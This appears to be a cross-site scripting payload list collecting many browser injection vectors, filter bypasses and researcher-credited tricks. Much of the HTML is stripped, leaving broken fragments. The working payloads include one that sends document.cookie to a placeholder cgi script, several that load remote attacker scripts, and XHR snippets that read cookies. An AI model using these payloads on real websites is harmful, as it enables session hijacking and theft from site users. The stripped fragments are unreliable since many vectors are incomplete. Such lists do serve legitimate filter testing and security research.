"/>
javascript://'/-->/alert()/
javascript://-->"//a
javascript://"///
javascript://-->/alert()/
javascript://'//" -->/alert()/
javascript:///alert()/
-->"//alert()/
//alert()/
javascript://-->/alert()/
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-->">'>
“ onclick=alert(1)// / alert(1)//
'">>">@gmail.com'-->">">'">
javascript://'/-->/alert()/*
javascript://-->"//a
javascript://"///
javascript://-->/alert()/
javascript://'//" -->/alert()/
javascript:///alert()/
-->"//alert()/
//alert()/
javascript://-->/alert()/
< script > < / script>
<
<
<
<
<
<<
<<<
">
<
'>
'>
";alert('XSS');//
%3cscript%3ealert("XSS");%3c/script%3e
%3cscript%3ealert(document.cookie);%3c%2fscript%3e
%3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E
alert(document.cookie);
alert(document.cookie);alert
">
'%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E
">
%22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//>!--=&{}
'';!--"=&{()}
','')); phpinfo(); exit;/*
SCRIPTalert('XSS');/SCRIPT
SCRIPTalert('XSS');/SCRIPT
Opera cross-domain set cookie 0day: document.cookie='xss=jackmasa;domain=.me.'
Reverse 401 basic auth phishing by @jackmasa POC:
document.domain='com' chrome/safari same domain suffix cross-domain trick.
Safari empty location bar bug by @jackmasa POC:
Safari location object pollution tech: by @kinugawamasato
Safari URL spoofing about://mmme.me POC:
Opera URL spoofing vuln data://mmme.me by @jackmasa POC:
Universal URL spoofing data:;//mmme.me/view/1#1,2 #firefox #safari #opera
New dom xss vector xxx.innerHTML=document.title by @0x6D6172696F
Opera data:message/rfc822 #XSS by @insertScript
#IE
IE cool expression xss
Clever webkit xss auditor bypass trick and %c0″//(%000000%0dalert(1)// #IE #0day
new XMLHttpRequest().open("GET", "data:text/html,", false); #firefox #datauri
XSS #firefox
#IE
"clickme #IE #xssfilter @kinugawamasato
Components.lookupMethod(self, 'alert')(1) #firefox
external.NavigateAndFind(' ',[],[]) #IE #URLredirect
IE decides charset as #utf-7 @hasegawayosuke
#opera
#chrome
#Firefox #JustForFun
Just don't support IE click
-->*{x:expression(alert(/@jackmasa/))}//
#IE #XSS
Input[hidden] XSS target it.
Firefox clipboard-hijack without script and css : http://
#E4X .(alert(3)).@wtf.(wtf) by @garethheyes
#vbscript coool feature chr(&H4141)="A", Chr(7^5)=A and Chr(&O41) =‘A’ by @masa141421356
({})[$='\143\157\156\163\164\162\165\143\164\157\162'][$]('\141\154\145\162\164\50/ @0x6D6172696F /\51')()
No referer :
#VBScript Event Handling: [Sub XXX_OnError MsgBox " @0x6D6172696F " End Sub]
if(1)alert(' @jackmasa ')}{ works in firebug and webkit's console
click
#CSS expression
#ES #FF for(location of ['javascript:alert(/ff/)']);
#E4X function::['location']='javascript'':alert(/FF/)'
HTML5 entity char test
#Firefox click by @cgvwzq
CSS and CSS
toUpperCase XSS document.write('asd'.toUpperCase()) by @jackmasa
IE6-8,IE9(quick mode) with jQuery") by @masa141421356
aha
Opera bug?
Use 127.1 no 127.0.0.1 by @jackmasa
IE vector location='vbscript:alert(1)'
#jQuery super less-xss,work in IE: $(URL) 6 chars
#Bootstrap tooltip.js xss some other plugins (e.g typeahead,popover) are also the same problem //cc @twbootstrap
innerText DOM XSS: innerHTML=innerText
Using IE XSS filter or Chrome xss auditor to block url redirect.
jQuery 1.8 a new method: $.parseHTML('')
IE all version CSRF vector
Timing vector
Firefox data uri can inherit dom-access.
IE9
Webkit and FF
JSLR( @garethheyes ) challenge result:
@irsdl challenge result:
Vbscript XHR by @masa141421356
XML Entity XSS by @garethheyes
Webkit cross-domain and less vector! example: (JSFiddle cross to JSBin) by @jackmasa
alert("XSS")'); ?>
window.alert("Bonjour !");
onload=alert('XSS')>
">
'">>XSS
alert("XSS")'?>
" onfocus=alert(document.domain) ">
XSS
perl -e 'print "alert("XSS")";' > out
perl -e 'print "";' > out
alert(1)
a="get";b="URL";c="javascript:";d="alert('xss');";eval(a?);
='>
"?="http://yoursite.com/xss.js?69,69">
>
">/XaDoS/>
">/KinG-InFeT.NeT/>
src="http://www.site.com/XSS.js">
">
[color=red width=expression(alert(123))][color]
Execute(MsgBox(chr(88)&chr(83)&chr(83)))<
">
'">
'">
'"">
<
'>
'>">
}
(123)
<
XSS
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//>--!>
">
<
";alert('XSS');//
XSS
exp/*
XSS
">
PT SRC="http://blog.zsec.uk/xss.js">
XSS
XSS
XSS
XSS
XSS
XSS
XSS
XSS
XSS
XSS
XSS
XSS
XSS
XSS
http://www.
alert(1)>
style="x:">
--!>
x
">
CLICKME
click
1Click Me
'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Eshadowlabs(0x000045)%3C/script%3E
r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}%26quot;)%22>
r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}%26quot;)%22>
r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}%26quot;)%22>
#
'%2Blocation.hash.substr(1)%2B'')%22>#var xhr = new XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
'%2Blocation.hash.substr(1)%2B'')%22>#var xhr = new XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
#var xhr = new window.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
#var xhr = new window.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
%3Cscript%3Exhr=new%20ActiveXObject%28%22Msxml2.XMLHTTP%22%29;xhr.open%28%22GET%22,%22/xssme2%22,true%29;xhr.onreadystatechange=function%28%29{if%28xhr.readyState==4%26%26xhr.status==200%29{alert%28xhr.responseText.match%28/%27%28[^%27]%2b%29/%29[1]%29}};xhr.send%28%29;%3C/script%3E
`>
DIV
X
?
?
On Mouse Over?
Click Here
X
http://www. ?
alert(1)>
style="x:">
--!>
?
x?
">
CLICKME
click
?
Click Me
">
